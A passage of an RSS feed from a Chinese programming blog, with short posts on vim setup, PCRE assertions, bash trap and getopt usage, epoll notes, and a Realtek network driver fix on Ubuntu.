/>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br />}</div><img src ="http://www.blogjava.net/bacoo/aggbug/428603.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-12-10 21:15 <a href="http://www.blogjava.net/bacoo/archive/2015/12/10/428603.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一款非常不错的vim配色</title><link>http://www.blogjava.net/bacoo/archive/2014/04/15/412483.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Tue, 15 Apr 2014 11:13:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2014/04/15/412483.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/412483.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2014/04/15/412483.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/412483.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/412483.html</trackback:ping><description><![CDATA[<div>首先看看这款配色是否喜欢：</div><div>http://vimcolorschemetest.googlecode.com/svn/html/bensday-c.html</div><div></div><div>如果喜欢，现在教你如何在terminal下达到该效果（注意：不是在gvim下）：</div><div>1。add the following line in .bashrc：</div><div>export TERM=xterm-256color<br /><br /><div>2。install CSApprox：</div><div>http://www.vim.org/scripts/script.php?script_id=2390</div><div></div><div>3。install bensday.vim color scheme:</div><div>http://vimcolorschemetest.googlecode.com/svn/colors/bensday.vim<br /><br /><div>4。add following lines to .screenrc(refer: http://robotsrule.us/vim/):</div><div>#attrcolor b ".I"</div><div>#termcapinfo xterm 'Co#256:AB=\E[48;5;%dm:AF=\E38;5;%dm'</div><div>defbce "on"<br /><br /><div>5。modify the guibg value to grey15 of 37th line in bensday.vim as following:</div><div>hi NonText term=bold ctermfg=LightBlue gui=bold guifg=LightBlue guibg=grey15<br /><br /><div>这个页面下有大量的配色方案供你选择（注意：有些打不开，需要用国外代理打开）</div><div>http://vimcolorschemetest.googlecode.com/svn/html/index-c.html</div><div></div><div>这个页面也介绍了几款配色不错的方案：</div><div>http://www.oschina.net/news/32306/10-vim-color-schemes-you-need-to-</div></div></div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/412483.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2014-04-15 19:13 <a href="http://www.blogjava.net/bacoo/archive/2014/04/15/412483.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PCRE Assertions</title><link>http://www.blogjava.net/bacoo/archive/2013/11/20/406597.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 20 Nov 2013 12:27:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/11/20/406597.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/406597.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/11/20/406597.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/406597.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/406597.html</trackback:ping><description><![CDATA[<div>首先明确几点概念：</div><div>1。断言是一个对当前匹配位置之前或之后的字符的测试；</div><div>2。断言不会实际消耗任何字符； #这一点至关重要</div><div></div><div>通常的用法： (?&lt;=a)b(?=c) #b的前瞻是c，后瞻是a；</div><div>前瞻左置用法：(?=\d)\w+ #\w+需要以\d开始；</div><div>后瞻右置用法：\w+(?&lt;=\d) #\w+需要以\d结束；</div><div>上面三种用法中，我们姑且把b和\w+称为修饰项。</div><div>对于后两种用法，要求 前瞻/后瞻 里用以约束修饰项的字符应当是修饰项的子集，否则就不太合适，例如：</div><div>a(?&lt;=b)永远不可能成立，因为a!=b；</div><div>(?=a)b永远不可能成立，因为a!=b;</div><div></div><div>$ echo 'foobar' | grep -o -P '(?!foo)bar' #它不能用于查找之前出现所有不是 &#8221;foo&#8221; 的 &#8221;bar&#8221; 匹配， 它会查找到任意的 &#8221;bar&#8221; 出现的情况， 因为 (?!foo) 这个断言在接下来三个字符时 &#8221;bar&#8221; 的时候是永远都 TRUE 的(因为foo!=bar)。</div><div>bar</div><div></div><div>$ echo '!abcae20a' | grep -o -P '\w{4,}(?=.*\d)' #0用于支撑后面的前瞻断言</div><div>abcae2</div><div></div><div>$ echo '!abcae20a' | grep -o -P '\w{4,}(?&lt;=\d)' #0不需要拿出来支撑断言</div><div>abcae20</div><div></div><div>$ echo '!abcae20' | grep -o -P '\w{4,}(?&lt;=.*\d)' #后瞻断言必须定长</div><div>grep: lookbehind assertion is not fixed length</div><div></div><div>$ echo '!abcae20' | grep -o -P '(?=.*\d)\w{4,}' #这个前瞻左置断言不定长，而且前瞻过程中没有任何字符约束，也比较诡异，匹配不出结果，最好不要这样写</div><div></div><div>$ echo 'a2 abcae20a' | grep -o -P '(?=.*\d)\w+' #这个前瞻左置断言不定长，而且前瞻过程中没有任何字符约束，也比较诡异，只匹配出部分结果，最好不要这样写</div><div>a2</div><div></div><div>$ echo '!abcae20' | grep -o -P '(?=\w+\d)\w{4,}' #这个前瞻断言虽然不定长，但是里面的字符都在修饰项的范畴内</div><div>abcae20</div><div></div><div>$ echo 'a2 ab!cae20a' | grep -o -P 'a(?=.*\d)\w+' #注意对于第2组结果'ab'，里面并不包含数字，但是其后面有数字20，因此前瞻断言成立</div><div>a2</div><div>ab</div><div>ae20a</div><div></div><div>$ echo '!abcae20' | grep -o -P '.*?(?=.*\d)\w{4,}' #可以用最开始的.*来吸收不属于\w的字符</div><div>!abcae20</div><div></div><div>$ echo '!a21ed0' | grep -o -P '(?=(?:\w*?\d){3,})\w{6,}' #实现了最终想要的功能：一个字符串至少有6个字符，而且至少有3个数字</div><div>a21ed0</div><div></div><div>总结：前瞻断言放在修饰项后面比较容易理解；放在修饰项前面时：主要用于概括性的规定修饰项里包含的内容，因此此时的前瞻断言里允许出现的字符应该都是修饰项里可接受的字符</div><div></div><div>更多详细介绍可以参见：http://www.php.net/manual/zh/reference.pcre.pattern.syntax.php</div><img src ="http://www.blogjava.net/bacoo/aggbug/406597.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-11-20 20:27 <a href="http://www.blogjava.net/bacoo/archive/2013/11/20/406597.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>vim必须的一些配置</title><link>http://www.blogjava.net/bacoo/archive/2013/08/26/403320.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Mon, 26 Aug 2013 08:47:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/08/26/403320.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/403320.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/08/26/403320.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/403320.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/403320.html</trackback:ping><description><![CDATA[<div>set nocompatible<br />set nu</div><div>set expandtab</div><div>set tabstop=4</div><div>set shiftwidth=4</div><div>set cursorline</div><div>set list<br />set hlsearch</div><div>syntax on</div><div></div><div>set listchars=tab:&gt;-,trail:-</div><div>highlight WhitespaceEOL ctermbg=magenta guibg=magenta</div><div>match WhitespaceEOL /\s\+$\|\t/</div><div></div><div>autocmd BufReadPost * if line("'\"") &gt; 0 &amp;&amp; line("'\"") &lt;= line("$") | exe "normal g'\"" | endif</div><div></div><div>inoremap &lt;C-h&gt; &lt;Left&gt;</div><div>inoremap &lt;C-j&gt; &lt;Down&gt;</div><div>inoremap &lt;C-k&gt; &lt;Up&gt;</div><div>inoremap &lt;C-l&gt; &lt;Right&gt;</div><div>inoremap &lt;C-a&gt; &lt;ESC&gt;0i</div><div>inoremap &lt;C-u&gt; &lt;ESC&gt;A</div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/403320.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-08-26 16:47 <a href="http://www.blogjava.net/bacoo/archive/2013/08/26/403320.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于trap的实验</title><link>http://www.blogjava.net/bacoo/archive/2013/08/14/402802.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 14 Aug 2013 08:08:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/08/14/402802.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/402802.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/08/14/402802.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/402802.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/402802.html</trackback:ping><description><![CDATA[<div>-------------------------------------</div><div>trap 'date' SIGUSR2</div><div></div><div>echo before</div><div>while true; do</div><div>&nbsp; &nbsp; sleep 0.01</div><div>done</div><div>echo after</div><div></div><div>kill -SIGUSR2 XXX #date立即被执行</div><div>kill -SIGUSR2 XXX #date立即被执行</div><div>--------------------------------------</div><div>trap 'date' SIGUSR2</div><div></div><div>echo before</div><div>sleep 10</div><div>echo after</div><div></div><div>kill -SIGUSR2 XXX #date未被执行，直到sleep 10结束后立即被执行，最后再打印出after</div><div>--------------------------------------</div><div>trap 'date' SIGUSR2</div><div></div><div>echo before</div><div>sleep 100 &amp;</div><div>wait</div><div>echo after</div><div></div><div>kill -SIGUSR2 XXX #wait被立即中断（wait的返回码是一个大于128的值），date立即被执行，然后打印出after退出</div><div>--------------------------------------</div><div>shell在执行过程中，在一个命令执行过程中不会执行trap指定的命令，只有在命令执行完之后才会执行trap指定的命令；</div><div>Ctrl+c #给程序发送SIGINT信号</div><div>Ctrl+\ #给程序发送SIGTERM信号</div><div>bash shell会忽略SIGQUIT信号，即：1个shell进程run时发SIGQUIT不会退出；但你自己编译的程序run时收到SIGQUIT是会退出的</div><div>用EXIT来做清理：trap "{ rm -f $tmp_file ; exit 255; }" EXIT</div><div>用ERR来做警告，可以参见：http://blog.csdn.net/sosodream/article/details/5681893和http://blog.csdn.net/sosodream/article/details/5724650</div><div>用DEBUG来做调试，例如来跟踪变量的变化：</div><div>trap "echo tmp_value is being changed." DEBUG</div><div></div><div>bla bla bla</div><div></div><div>declare -t tmp_value=38</div><img src ="http://www.blogjava.net/bacoo/aggbug/402802.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-08-14 16:08 <a href="http://www.blogjava.net/bacoo/archive/2013/08/14/402802.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用gnuplot绘图</title><link>http://www.blogjava.net/bacoo/archive/2013/07/31/402211.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 31 Jul 2013 08:55:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/07/31/402211.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/402211.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/07/31/402211.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/402211.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/402211.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 学习资料：http://www.ibm.com/developerworks/cn/linux/l-gnuplot/index.htmlhttps://www.bbsmax.com/A/Ae5R4pxNzQ/https://xijunlee.github.io/2016/12/24/2016-12-24-you-bi-ge-de-hua-tu-cong-gnuplotshuo-qi/$ cat t...&nbsp;&nbsp;<a href='http://www.blogjava.net/bacoo/archive/2013/07/31/402211.html'>阅读全文</a><img src ="http://www.blogjava.net/bacoo/aggbug/402211.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-07-31 16:55 <a href="http://www.blogjava.net/bacoo/archive/2013/07/31/402211.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>bash使用getopt解析长短参数</title><link>http://www.blogjava.net/bacoo/archive/2013/07/11/401443.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 11 Jul 2013 03:27:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/07/11/401443.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/401443.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/07/11/401443.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/401443.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/401443.html</trackback:ping><description><![CDATA[<div>#!/bin/bash</div><div></div><div># A small example program for using the new getopt(1) program.</div><div># This program will only work with bash(1)</div><div># An similar program using the tcsh(1) script language can be found</div><div># as parse.tcsh</div><div></div><div># Example input and output (from the bash prompt):</div><div># ./option_test.sh -a par1 'another arg' --c-long 'wow!*\?' -cmore -b " very long "</div><div># Option a</div><div># Option c, no argument</div><div># Option c, argument `more'</div><div># Option b, argument ` very long '</div><div># Remaining arguments:</div><div># --&gt; `par1'</div><div># --&gt; `another arg'</div><div># --&gt; `wow!*\?'</div><div></div><div># Note that we use `"$@"' to let each command-line parameter expand to a</div><div># separate word. The quotes around `$@' are essential!</div><div># We need TEMP as the `eval set --' would nuke the return value of getopt.</div><div></div><div>#-o表示短选项，两个冒号表示该选项有一个可选参数，可选参数必须紧贴选项</div><div>#如-carg 而不能是-c arg</div><div>#--long表示长选项</div><div>#"$@"在上面解释过</div><div># -n:出错时的信息</div><div># -- ：举一个例子比较好理解：</div><div>#我们要创建一个名字为 "-f"的目录你会怎么办？</div><div># mkdir -f #不成功，因为-f会被mkdir当作选项来解析，这时就可以使用</div><div># mkdir -- -f 这样-f就不会被作为选项。</div><div></div><div>TEMP=`getopt -o ab:c:: -l a-long,b-long:,c-long:: -n 'option_test.sh' -- "$@"`</div><div></div><div>echo "TEMP:{$TEMP}"</div><div></div><div>if [ $? != 0 ] ; then echo "Terminating..." &gt;&amp;2 ; exit 1 ; fi</div><div></div><div># Note the quotes around `$TEMP': they are essential!</div><div>#set 会重新排列参数的顺序，也就是改变$1,$2...$n的值，这些值在getopt中重新排列过了</div><div>eval set -- "$TEMP" #必须用eval</div><div></div><div>echo "\$#: $#"</div><div>for i in "$@"; do</div><div>&nbsp; &nbsp; echo "{$i}"</div><div>done</div><div></div><div>#经过getopt的处理，下面处理具体选项。</div><div></div><div>while true ; do</div><div>&nbsp; &nbsp; &nbsp; &nbsp; case "$1" in</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -a|--a-long) echo "Option a" ; shift ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -b|--b-long) echo "Option b, argument \`$2'" ; shift 2 ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -c|--c-long)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # c has an optional argument. As we are in quoted mode,</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # an empty parameter will be generated if its optional</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # argument is not found.</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case "$2" in</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "") echo "Option c, no argument"; shift 2 ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *) &nbsp;echo "Option c, argument \`$2'" ; shift 2 ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; esac ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --) shift ; break ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *) echo "Internal error!" ; exit 1 ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; esac</div><div>done</div><div>echo "Remaining arguments:"</div><div>for arg do</div><div>&nbsp; &nbsp;echo '--&gt; '"\`$arg'" ;</div><div>done<br /><br />==================================================================================<br /><div>$ set -- a ' b '</div><div>$ echo $#</div><div>2</div><div>$ a="a ' b '"</div><div>$ set -- $a</div><div>$ echo $#</div><div>4</div><div>$ set -- "$a"</div><div>$ echo $#</div><div>1</div></div><img src ="http://www.blogjava.net/bacoo/aggbug/401443.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-07-11 11:27 <a href="http://www.blogjava.net/bacoo/archive/2013/07/11/401443.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>`纪念这种old-style的quotation'</title><link>http://www.blogjava.net/bacoo/archive/2013/07/11/401441.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 11 Jul 2013 03:09:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/07/11/401441.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/401441.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/07/11/401441.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/401441.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/401441.html</trackback:ping><description><![CDATA[<div>在linux的很多文档中都看到`something'这种quote的用法，一直不知道为何，今天终于搞懂了，所以在这里纪念＋记录一下。'something'这种quote是undirected quotation, &#8216;something&#8217;是directional quotation，在old X下，不能很好的支持directional quotation，因此借用`something'能够显示出directional quotation的效果，但new X下，已经支持directional quotation，因此这些老的quotation记法就闲得很丑陋了，不过很多linux/unix的老文档年代久远，就一直沿用下来了。<br /></div><div>相关解释参见：http://www.cl.cam.ac.uk/~mgk25/ucs/quotes.html；</div><div>我是从http://www.trilithium.com/johan/2005/07/quotation-marks/找到上面那个解释的文章的；</div><div>我是通过google `bash grave accent apostrophe quote' 在第2页发现的上面那个博客的。</div><img src ="http://www.blogjava.net/bacoo/aggbug/401441.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-07-11 11:09 <a href="http://www.blogjava.net/bacoo/archive/2013/07/11/401441.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>epoll简单学习</title><link>http://www.blogjava.net/bacoo/archive/2013/07/04/401219.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 04 Jul 2013 09:36:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/07/04/401219.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/401219.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/07/04/401219.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/401219.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/401219.html</trackback:ping><description><![CDATA[<div>epoll的EPOLLIN和EPOLLOU为什么不能同时关联 &nbsp; &nbsp; &nbsp; &nbsp; http://laokaddk.blog.51cto.com/368606/791945</div><div>epoll使用总结 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;http://laokaddk.blog.51cto.com/368606/617497</div><div>epoll学习：思考一种高性能的服务器处理框架 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; http://laokaddk.blog.51cto.com/368606/607231</div><div>epoll学习笔记 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;http://laokaddk.blog.51cto.com/368606/607017</div><div></div><div>简单学习了一下epoll，之前也用过，这次又看了看，收获如下：</div><div>两种实现模式（在http://laokaddk.blog.51cto.com/368606/791945中都有提到）：同一个线程 和 不同线程；</div><div>顺便了解了一下惊群现象，如果用accept阻塞的方式就不存在惊群现象了，在不同线程中通过epoll_wait来出发accept行为的nginx的解决方法是通过进程里原子的修改寄存器a来做到进程间互斥的。</div><div>在不同线程模式下：listenfd需设置为非阻塞，注册EPOLLIN就可以了，触发时调用accept，有没有连接都会立刻返回；</div><div>在同一个线程模式下：listenfd为阻塞模式，不注册epoll，阻塞while调用accept即可；</div><div>ET触发只支持非阻塞模式，这里针对的fd是accept接收到的然后epoll_add了的那些fds，原因是：因为ET触发需要处理函数一直处理完所有in/out数据，比如read数据，如果read到的字节数小于预先准备读入的字节数，那么就可以认为读完了；如果是非阻塞模式，那么read会一直阻塞在那里。</div><div>epollfd不需要设置阻塞、非阻塞。</div><div>一般都用LT触发，不论哪种实现模式，EPOLLIN和EPOLLOUT都不同时设定，都是不断切换来做的。</div><div>客户端close掉socket时，会唤醒服务端epoll_wait;</div><div>对于epoll_wait而言，针对一个fd只存在唤醒与被唤醒，至于是EPOLLIN还是EPOLLOUT，取决于你当初epoll_add时的设定，因此如果你epoll_add时设定了EPOLLIN|EPOLLOUT，那么当EPOLLIN发生时（内核里当然是可以区分EPOLLIN和EPOLLOUT的），你收到的fd上的事件依然是EPOLLIN|EPOLLOUT。<br /><br /><div>http://my.oschina.net/costaxu/blog/127394</div><div>http://blog.csdn.net/guomsh/article/details/8484222</div><div>http://blog.csdn.net/guomsh/article/details/8478209</div><div>http://blog.csdn.net/ctthuangcheng/article/details/8596818</div><div>http://blog.yunn.io/archives/114/</div></div><img src ="http://www.blogjava.net/bacoo/aggbug/401219.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-07-04 17:36 <a href="http://www.blogjava.net/bacoo/archive/2013/07/04/401219.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>eth0 is not ready</title><link>http://www.blogjava.net/bacoo/archive/2013/01/22/394530.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Tue, 22 Jan 2013 02:18:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/01/22/394530.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/394530.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/01/22/394530.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/394530.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/394530.html</trackback:ping><description><![CDATA[<div>final solution:<br /><a href="http://ubuntuforums.org/showthread.php?t=1022411">http://ubuntuforums.org/showthread.php?t=1022411</a><br /><span style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">This is guidance for those with integrated Realtek RTL8111 series gigabit Ethernet, built in to motherboards such as the ASRock G41M-LE.</span><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><span style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">Ubuntu 8.10 (and may other versions) have been reporting problems with connectivity. Here is the solution in a walk-through format. You must be root (sudo su -).</span><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><span style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">1) Check to see if the r8169 module is loaded</span><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><strong>-&gt; lsmod | grep r816</strong><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " />r8168&nbsp;41104 0&nbsp;<br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><strong>-&gt; lspci -v</strong><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " />01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 03)<br />Subsystem: ASRock Incorporation Device 8168<br />Kernel driver in use:&nbsp;r8169<br />Kernel modules:&nbsp;r8169<br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><span style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">2) Download the official Realtek driver</span><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><a href="http://www.realtek.com.tw/downloads/downloadsView.aspx?Langid=1&amp;PNid=13&amp;PFid=5&amp;Level=5&amp;Conn=4&amp;DownTypeID=3&amp;GetDown=false#2" target="_blank" style="color: #444444; font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 